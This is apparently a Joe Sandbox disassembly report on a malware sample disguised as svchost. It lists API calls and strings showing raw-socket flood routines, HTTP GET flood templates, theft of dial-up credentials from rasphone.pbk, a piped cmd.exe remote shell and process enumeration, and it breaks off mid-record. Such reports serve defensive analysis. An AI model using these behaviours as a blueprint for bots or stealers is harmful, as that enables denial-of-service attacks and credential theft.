strcspn.MSVCRT ref: 004043D6
WSASocketA.WS2_32(00000002,00000003,00000001,00000000,00000000,00000001), ref: 00404413
setsockopt.WS2_32 ref: 0040443E
inet_addr.WS2_32(?), ref: 0040446F
inet_addr.WS2_32(?), ref: 0040447A
gethostbyname.WS2_32(?), ref: 00404485
GetTickCount.KERNEL32 ref: 004044B6
time.MSVCRT ref: 004044C3
srand.MSVCRT ref: 004044C9
rand.MSVCRT ref: 00404501
GetTickCount.KERNEL32 ref: 0040454F
sendto.WS2_32(00000000,?,00000027,00000000,?,00000010), ref: 00404589
Sleep.KERNEL32(00000032,?,00000004), ref: 0040459B
closesocket.WS2_32(00000000), ref: 004045A2
WSACleanup.WS2_32 ref: 004045A8
ExitThread.KERNEL32 ref: 004045B0
ExitThread.KERNEL32 ref: 004045B8

Strings

http://, xrefs: 00404258, 004042B2, 004042C4

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: strcspn$strstr$strncpy$CountExitThreadTickinet_addr$CleanupSleepSocketclosesocketgethostbynamerandsendtosetsockoptsrandtime
String ID: http://
API String ID: 2260167626-1121587658
Opcode ID: b4185216082c8908a3bd44878f543f7e9ec1ec1f1f286d80f055e335998065b9
Instruction ID: 53d1a7d735be2f1ec86fc188cff5de5520e6b7be5ffff6f25f1ae64159631b6b
Opcode Fuzzy Hash: b4185216082c8908a3bd44878f543f7e9ec1ec1f1f286d80f055e335998065b9
Instruction Fuzzy Hash: A59117726443006BD314DB349C41BEB77E5AFC8754F404A2EF656932D1EFB89A04879E

Function 00405470 Relevance: 49.2, APIs: 21, Strings: 7, Instructions: 223stringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000105), ref: 00405489
strchr.MSVCRT ref: 0040549E
lstrcpyA.KERNEL32(00000001), ref: 004054A8
lstrcatA.KERNEL32(?,?), ref: 004054C0
lstrcatA.KERNEL32(?,\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk), ref: 004054CF
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000023,00000000), ref: 004054DF
wsprintfA.USER32 ref: 004054FF
GetVersionExA.KERNEL32 ref: 0040552B
??2@YAPAXI@Z.MSVCRT ref: 00405551
GetPrivateProfileSectionNamesA.KERNEL32(00000000,00001000,?), ref: 00405587
GetPrivateProfileStringA.KERNEL32(00000000,DialParamsUID,00000000,?,00000100,?), ref: 00405604
lstrcmpA.KERNEL32(?,00000000), ref: 00405629
lstrcpyA.KERNEL32(?,00000200), ref: 00405664
lstrcpyA.KERNEL32(?,00000100), ref: 00405679
GetPrivateProfileStringA.KERNEL32(00000000,PhoneNumber,00000000,?,00000100,?), ref: 004056AD
GetPrivateProfileStringA.KERNEL32(00000000,Device,00000000,?,00000100,?), ref: 004056C5
??3@YAXPAX@Z.MSVCRT ref: 00405714
??3@YAXPAX@Z.MSVCRT ref: 0040571A
??3@YAXPAX@Z.MSVCRT ref: 00405720
lstrlenA.KERNEL32(00000000,?,00000000,?,?), ref: 00405729
??3@YAXPAX@Z.MSVCRT ref: 0040575C

Part of subcall function 00405390: wsprintfA.USER32 ref: 004053FC
Part of subcall function 00405390: LsaFreeMemory.ADVAPI32(?), ref: 0040542A
Part of subcall function 00405390: LsaFreeMemory.ADVAPI32(?), ref: 00405454

Strings

\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 004054C9
Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 004054EC
PhoneNumber, xrefs: 004056A7
DialParamsUID, xrefs: 004055FE
Documents and Settings\, xrefs: 0040548F
%s\%s, xrefs: 004054F9
Device, xrefs: 004056BF

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??3@PrivateProfile$Stringlstrcpy$FreeMemorylstrcatwsprintf$??2@DirectoryFolderNamesPathSectionSpecialVersionWindowslstrcmplstrlenstrchr
String ID: %s\%s$Device$DialParamsUID$Documents and Settings\$Microsoft\Network\Connections\pbk\rasphone.pbk$PhoneNumber$\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk
API String ID: 4167786638-3033193607
Opcode ID: 6200aea952694246452c550fcf1bd0333bfbb794c2062bfbfe0dde9cdbca7257
Instruction ID: 35e0599e8879b73d78fbadc39da617037731208443bf4fda42ad3154b0e19f78
Opcode Fuzzy Hash: 6200aea952694246452c550fcf1bd0333bfbb794c2062bfbfe0dde9cdbca7257
Instruction Fuzzy Hash: 1181A4B1604345AFD724DF14DC84FEBB3E9EBC8704F004A2EF549A7281DB78A6058B5A

Function 0040A5E0 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 317registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

Part of subcall function 0040A9F9: RegCloseKey.ADVAPI32(?,0040A790), ref: 0040AA03
Part of subcall function 0040A9F9: RegCloseKey.ADVAPI32(?), ref: 0040AA0C

Strings

REG_SZ, xrefs: 0040A94B
REG_EXPAND_SZ, xrefs: 0040A959
%-24s %-15s 0x%x(%d) , xrefs: 0040A992
[%s], xrefs: 0040A86B
%-24s %-15s %s , xrefs: 0040A965
REG_BINARY, xrefs: 0040A9BF
REG_MULTI_SZ, xrefs: 0040A9A5
REG_DWORD, xrefs: 0040A986
%-24s %-15s , xrefs: 0040A9B1, 0040A9CB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Close$Open
String ID: %-24s %-15s $%-24s %-15s %s $%-24s %-15s 0x%x(%d) $REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 2976201327-2684303279
Opcode ID: c39eacefc75ce8889dde7efc74308bb899b20b62c682a58eec5126f6f8572916
Instruction ID: 3e32b35946230d3a04d9b641ce636652af0a76668f00a5d44abb98857023313a
Opcode Fuzzy Hash: c39eacefc75ce8889dde7efc74308bb899b20b62c682a58eec5126f6f8572916
Instruction Fuzzy Hash: C9C1A8B2A402189FDB14CF94DC44BEE7779EB88700F508569F615B31C0D7789A54CF99

Function 00413E80 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 196stringmemoryprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413EC9
LocalAlloc.KERNEL32 ref: 00413EF5
GetVersionExA.KERNEL32(?), ref: 00413F29
Process32First.KERNEL32(00000000,?), ref: 00413F40
OpenProcess.KERNEL32(00000410,00000000,00000128,00000000,?), ref: 00413F60
EnumProcessModules.PSAPI(00000000,00000040,00000004,?), ref: 00413FB1
GetModuleFileNameExA.PSAPI(00000000,00000040,?,00000104,00000000,00000040,00000004,?), ref: 00413FD0
lstrlenA.KERNEL32(?), ref: 00414013
lstrlenA.KERNEL32(?), ref: 0041401F
LocalSize.KERNEL32(00000000), ref: 00414029
LocalReAlloc.KERNEL32(00000000,00000000,00000042), ref: 00414037
lstrlenA.KERNEL32(?), ref: 0041404E
lstrlenA.KERNEL32(?), ref: 00414073

Strings

QueryFullProcessImageNameA, xrefs: 00413FE2
SeDebugPrivilege, xrefs: 00413EB4, 004140DE
kernel32.dll, xrefs: 00413FD7

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Processlstrlen$Local$AllocOpen$CreateCurrentEnumFileFirstModuleModulesNameProcess32SizeSnapshotTokenToolhelp32Version
String ID: QueryFullProcessImageNameA$SeDebugPrivilege$kernel32.dll
API String ID: 4012312957-268618110
Opcode ID: 90cd6b56a2810240d1185c9a725281fe261d08d87a9055003baf69bbd1d15de2
Instruction ID: 19943b22255ca434be6e5eb4adbbb36fa1191304421a748ec24b3e4c64d3dbd3
Opcode Fuzzy Hash: 90cd6b56a2810240d1185c9a725281fe261d08d87a9055003baf69bbd1d15de2
Instruction Fuzzy Hash: 32610371644305AFD720DF64DC88AEB77E8FBC8704F00492EFA4597281D778A949CB9A

Function 00402540 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 246networkCOMMON

Download Yara Rule

APIs

WSASocketA.WS2_32 ref: 004025A3
htons.WS2_32(00000000), ref: 004025D6
htons.WS2_32(00000028), ref: 004025F9
inet_addr.WS2_32(?), ref: 0040262E
htons.WS2_32(00000001), ref: 00402659
htons.WS2_32(00000000), ref: 00402667
htonl.WS2_32(00000001), ref: 0040267D
htons.WS2_32 ref: 0040269A
htons.WS2_32 ref: 004026B6

Strings

E, xrefs: 004025EE
%d.%d.%d.%d, xrefs: 004027A2
8, xrefs: 00402584
4, xrefs: 00402595
6, xrefs: 0040257F
P, xrefs: 00402690
@, xrefs: 0040260C
9, xrefs: 00402572

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: htons$Sockethtonlinet_addr
String ID: %d.%d.%d.%d$4$6$8$9$@$E$P
API String ID: 715571759-2322924518
Opcode ID: 968a7d73563402aebf851ad26f77158c53345bfcafa4c079b03149e304b534cb
Instruction ID: a7bd275eecf7d3a43f240f00f331fbc514af208200c3f4c596d43d2dd31fe0fb
Opcode Fuzzy Hash: 968a7d73563402aebf851ad26f77158c53345bfcafa4c079b03149e304b534cb
Instruction Fuzzy Hash: 4DA1BF7154C3809AE710DF60C8417AFBBE1FFD5308F40082DFA94A72A1D6B59609CB9B

Function 00401FA0 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 209networkCOMMON

Download Yara Rule

APIs

WSASocketA.WS2_32 ref: 00402003
htons.WS2_32 ref: 00402036
htons.WS2_32(00000028), ref: 00402059
inet_addr.WS2_32(?), ref: 0040208E
htons.WS2_32(00000001), ref: 004020B3
htons.WS2_32(00000000), ref: 004020C1
htonl.WS2_32(00000001), ref: 004020D7
htons.WS2_32 ref: 004020F4
htons.WS2_32 ref: 00402114
wsprintfA.USER32 ref: 00402176
inet_addr.WS2_32(?), ref: 00402197

Strings

8, xrefs: 00401FE4
4, xrefs: 00401FF5
%d.%d.%d.%d, xrefs: 00402170
@, xrefs: 0040206C
6, xrefs: 00401FDF
P, xrefs: 004020EA
E, xrefs: 0040204E
9, xrefs: 00401FD2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: htons$inet_addr$Sockethtonlwsprintf
String ID: %d.%d.%d.%d$4$6$8$9$@$E$P
API String ID: 1250063077-2322924518
Opcode ID: 85dacc3467363a026910d2ec79a220d730cf1db257290eb11074791a9ee1cd7b
Instruction ID: 139a5967b6dd9127a5a6bca7afe08cc3900241c1547f83d9324bcaefe1b8c7f2
Opcode Fuzzy Hash: 85dacc3467363a026910d2ec79a220d730cf1db257290eb11074791a9ee1cd7b
Instruction Fuzzy Hash: 4C81C07154C3809AE310DBA4DC456AFBBE4FFD5308F40482DFA8597291D6B99608CB6B

Function 00403B50 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 266stringsleepprocessCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00403C05
strstr.MSVCRT ref: 00403C2C
strcspn.MSVCRT ref: 00403C4E
strncpy.MSVCRT ref: 00403C5D
strcspn.MSVCRT ref: 00403C68
wsprintfA.USER32 ref: 00403D47
CreateProcessA.KERNEL32 ref: 00403D95
Sleep.KERNEL32(00001388), ref: 00403DA4
TerminateProcess.KERNEL32(00000000,00000000), ref: 00403DB1

Part of subcall function 00401E40: GetTickCount.KERNEL32 ref: 00401E41
Part of subcall function 00401E40: rand.MSVCRT ref: 00401E49

wsprintfA.USER32 ref: 00403DF7
wsprintfA.USER32 ref: 00403E39
send.WS2_32(00000000,?,?,00000000), ref: 00403E91
closesocket.WS2_32(00000000), ref: 00403E94
Sleep.KERNEL32(0000000A,?,00000000), ref: 00403E98
ExitThread.KERNEL32 ref: 00403EA2

Strings

:, xrefs: 00403BF9
D, xrefs: 00403D54
h, xrefs: 00403BE6
GET %s HTTP/1.1Content-Type: text/htmlHost: %sAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01), xrefs: 00403DF1
p, xrefs: 00403BEE
%s %s%s, xrefs: 00403D41
GET %s HTTP/1.1Content-Type: text/htmlHost: %s:%dAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01), xrefs: 00403E33

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: wsprintf$ProcessSleepstrcspnstrstr$CountCreateExitTerminateThreadTickclosesocketrandsendstrncpy
String ID: %s %s%s$:$D$GET %s HTTP/1.1Content-Type: text/htmlHost: %sAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)$GET %s HTTP/1.1Content-Type: text/htmlHost: %s:%dAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)$h$p
API String ID: 608626276-1516392816
Opcode ID: b871695d0f88167672281d0a62d32b1ffbe018324d653222c6851f6354d2d4e0
Instruction ID: 9f3ba97073229d13ec63e34ca9b9dd0f15fe347d795de81fe847918e1de25131
Opcode Fuzzy Hash: b871695d0f88167672281d0a62d32b1ffbe018324d653222c6851f6354d2d4e0
Instruction Fuzzy Hash: 9E910A726483456BE324CA74CC01BEB77D9BBD4304F444A3EF656932C1DEB89A088797

Function 00403160 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 249stringnetworksleepCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00403230
strstr.MSVCRT ref: 00403257
strcspn.MSVCRT ref: 00403276
strncpy.MSVCRT ref: 00403286
strcspn.MSVCRT ref: 00403291
htons.WS2_32 ref: 0040332F
sprintf.MSVCRT ref: 00403382
wsprintfA.USER32 ref: 004033C2
socket.WS2_32(00000002,00000001,00000006), ref: 004033E4
connect.WS2_32(00000000,?,00000010), ref: 004033F4
setsockopt.WS2_32 ref: 00403419
setsockopt.WS2_32(00000000,0000FFFF,00001001,?,00000004), ref: 00403435
send.WS2_32(00000000,?,?,00000000), ref: 00403448
Sleep.KERNEL32(00000001,?,00000000), ref: 00403450
closesocket.WS2_32(00000000), ref: 00403456
Sleep.KERNEL32(0000001E,?,00000000), ref: 0040345E
closesocket.WS2_32(?), ref: 00403474
ExitThread.KERNEL32 ref: 0040347C

Strings

p, xrefs: 00403219
:, xrefs: 00403224
GET %s HTTP/1.1Accept: */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateHost: %s:%dCache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)Referer: http://%sConnection: Keep-Alive, xrefs: 004033BC
h, xrefs: 00403211

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Sleepclosesocketsetsockoptstrcspnstrstr$ExitThreadconnecthtonssendsocketsprintfstrncpywsprintf
String ID: :$GET %s HTTP/1.1Accept: */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateHost: %s:%dCache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)Referer: http://%sConnection: Keep-Alive$h$p
API String ID: 3493237639-3655424657
Opcode ID: 95625cd12472ef4df8072699ead95e46ddfd00ba01251608deedb5f222185e27
Instruction ID: 91368e2baecf4869bc7a8a7be0628d272c116f6169c35018f5eb78df530a1d7f
Opcode Fuzzy Hash: 95625cd12472ef4df8072699ead95e46ddfd00ba01251608deedb5f222185e27
Instruction Fuzzy Hash: 8381C3312483405FD324DB28CC45BEB7BE5BBC4314F444A2EF596A72D1DBB89A09C79A

Function 004108E0 Relevance: 38.6, APIs: 5, Strings: 17, Instructions: 92registrystringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT(?,00000,?,00000000,00000000,?,?,?,?,?,?,?,?,00410E74,?,00000000), ref: 004108FF
wsprintfA.USER32 ref: 00410922
RegOpenKeyA.ADVAPI32 ref: 004109D0
RegDeleteKeyA.ADVAPI32(00000055,?), ref: 004109EE
RegCloseKey.ADVAPI32(00000055), ref: 004109FB

Strings

i, xrefs: 00410992
00000%s, xrefs: 0041091C
00000, xrefs: 004108EA, 004108F9
D, xrefs: 0041097E
u, xrefs: 004109A5
S, xrefs: 00410979
S, xrefs: 00410974
r, xrefs: 004109C2
n, xrefs: 004109AA
U, xrefs: 004109B4
n, xrefs: 00410997
a, xrefs: 0041098D
e, xrefs: 004109BD
m, xrefs: 00410988
o, xrefs: 004109A0
t, xrefs: 004109AF
o, xrefs: 00410983

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseDeleteOpenstrncmpwsprintf
String ID: 00000$00000%s$D$S$S$U$a$e$i$m$n$n$o$o$r$t$u
API String ID: 3243141281-189977666
Opcode ID: 74a68e5aeb33abc32a14b77bb7887f6d5e721d78f67a9ae927fff2a69ef9ada6
Instruction ID: ca2c554a3e6cf7a4cdfa35d146e2fbfd8c5762c57d608f7526b18833e928f5c5
Opcode Fuzzy Hash: 74a68e5aeb33abc32a14b77bb7887f6d5e721d78f67a9ae927fff2a69ef9ada6
Instruction Fuzzy Hash: 4E316B6110D3C0AED301C7789884B9FBFC15FA6648F484A9DF4D857292D2A98688C77B

Function 00403670 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 240networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00403686
socket.WS2_32 ref: 004036CB
setsockopt.WS2_32(00000000,00000000,00000002,?,00000004), ref: 004036E0

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

htons.WS2_32(00000035), ref: 00403706
rand.MSVCRT ref: 0040373A
inet_addr.WS2_32 ref: 00403765
htons.WS2_32(00000035), ref: 00403771
rand.MSVCRT ref: 00403778
htons.WS2_32 ref: 0040378C
htons.WS2_32(0000001F), ref: 00403795
rand.MSVCRT ref: 004037A1
htons.WS2_32(00000001), ref: 004037C3
htons.WS2_32(00000000), ref: 004037DB
htons.WS2_32(00000000), ref: 004037F6
htons.WS2_32(00000000), ref: 0040380E
rand.MSVCRT ref: 004038BC
sendto.WS2_32(?,?,00000033,00000000,?,00000010), ref: 0040399F
WSACleanup.WS2_32 ref: 004039E1

Strings

E, xrefs: 00403730
a, xrefs: 00403723
a, xrefs: 0040371B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: htons$rand$inet_addr$CleanupStartupgethostbynamesendtosetsockoptsocket
String ID: E$a$a
API String ID: 90748819-4213770546
Opcode ID: c067de3e6c7435fb08991a29beec101259360a699d403df62d6b54582968b0ba
Instruction ID: 645667f11f08720504ea0f6a572707082a5686fedb159cfc49b69b94e3f0a5e6
Opcode Fuzzy Hash: c067de3e6c7435fb08991a29beec101259360a699d403df62d6b54582968b0ba
Instruction Fuzzy Hash: EE91767161C3819AE320DF68C885BABBBE1AFC5704F04892EF59587391D6B9C5088B5B

Function 00412130 Relevance: 35.1, APIs: 8, Strings: 12, Instructions: 90COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(0000002A,00000000,?), ref: 0041214E

Strings

., xrefs: 00412199
k, xrefs: 0041217D
a, xrefs: 004121CC
2, xrefs: 00412194
L, xrefs: 004121B9
3, xrefs: 0041218F
n, xrefs: 00412186
b, xrefs: 004121C3
i, xrefs: 004121BE
F, xrefs: 004121B0
y, xrefs: 004121D5
d, xrefs: 0041219E

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: OpenProcess
String ID: .$2$3$F$L$a$b$d$i$k$n$y
API String ID: 3743895883-2751716537
Opcode ID: 6b7036c62fa35ba880eae2b91082f0ff6d28961a3145a8e892223f4ad96627d0
Instruction ID: d3983621b00a3af849e14844177cb67ac6f3a030e21bd606b7d4d2f955502525
Opcode Fuzzy Hash: 6b7036c62fa35ba880eae2b91082f0ff6d28961a3145a8e892223f4ad96627d0
Instruction Fuzzy Hash: F2318B2204D3C1AAD312DB6C9848BDFBFD45FE6614F08898DF4C457292C2A9864DC7B7

Function 0040DAB0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 244processpipeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A420: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040964D,0000000A,00000000,0040E840), ref: 0040A43E

CreatePipe.KERNEL32 ref: 0040DB5D
CloseHandle.KERNEL32(?), ref: 0040DB74
CloseHandle.KERNEL32(?), ref: 0040DB81
CreatePipe.KERNEL32(0000004D,00000049,00000045,00000000), ref: 0040DB94
CloseHandle.KERNEL32(?), ref: 0040DBAB
CloseHandle.KERNEL32(?), ref: 0040DBB8
GetStartupInfoA.KERNEL32(0000000C), ref: 0040DBE1
GetSystemDirectoryA.KERNEL32 ref: 0040DC18
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?), ref: 0040DC69
GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DC9C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?), ref: 0040DCF3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD07
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD0D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD13
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD18

Strings

D, xrefs: 0040DBFD
\cmd.exe, xrefs: 0040DC1E
\Sysnative\cmd.exe, xrefs: 0040DCA2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$Create$DirectoryPipeProcess$EventInfoStartupSystemWindows
String ID: D$\Sysnative\cmd.exe$\cmd.exe
API String ID: 2581961517-1301656530
Opcode ID: 04ef82e0c6faab942139e573296b962f5a6fdcb133d9944165315c58a70344ca
Instruction ID: a27eee1932fb49d36f5a9f6910a529cd32f85c87c073c690a30e9adffd0f4a62
Opcode Fuzzy Hash: 04ef82e0c6faab942139e573296b962f5a6fdcb133d9944165315c58a70344ca
Instruction Fuzzy Hash: 8591D471644704ABD724CF64CC81B9BBBE5EFC8710F104A2EF655A72D0DBB4A9048B9A

Function 00403F40 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 142networksleepCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00403F57
gethostname.WS2_32(?,00000104), ref: 00403F6E
gethostbyname.WS2_32(?), ref: 00403F7C
htons.WS2_32 ref: 00403FB5
inet_addr.WS2_32 ref: 00403FDA
htons.WS2_32(00001544), ref: 00403FEB
htons.WS2_32(00000000), ref: 00403FFA
htons.WS2_32(00000408), ref: 00404006
WSASocketA.WS2_32(00000002,00000003,00000011,00000000,00000000,00000000), ref: 004040AA
setsockopt.WS2_32(00000000,00000000,00000002,?,00000004), ref: 004040C7
htons.WS2_32(00000000), ref: 004040E1
inet_addr.WS2_32(00424EF0), ref: 004040ED
sendto.WS2_32(00000000,?,0000041C,00000000,00000002,00000010), ref: 00404116
Sleep.KERNEL32(0000000F), ref: 0040411D
closesocket.WS2_32(00000000), ref: 0040412C
WSACleanup.WS2_32 ref: 00404132

Strings

AAAA, xrefs: 00403F98
E, xrefs: 00403FAB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
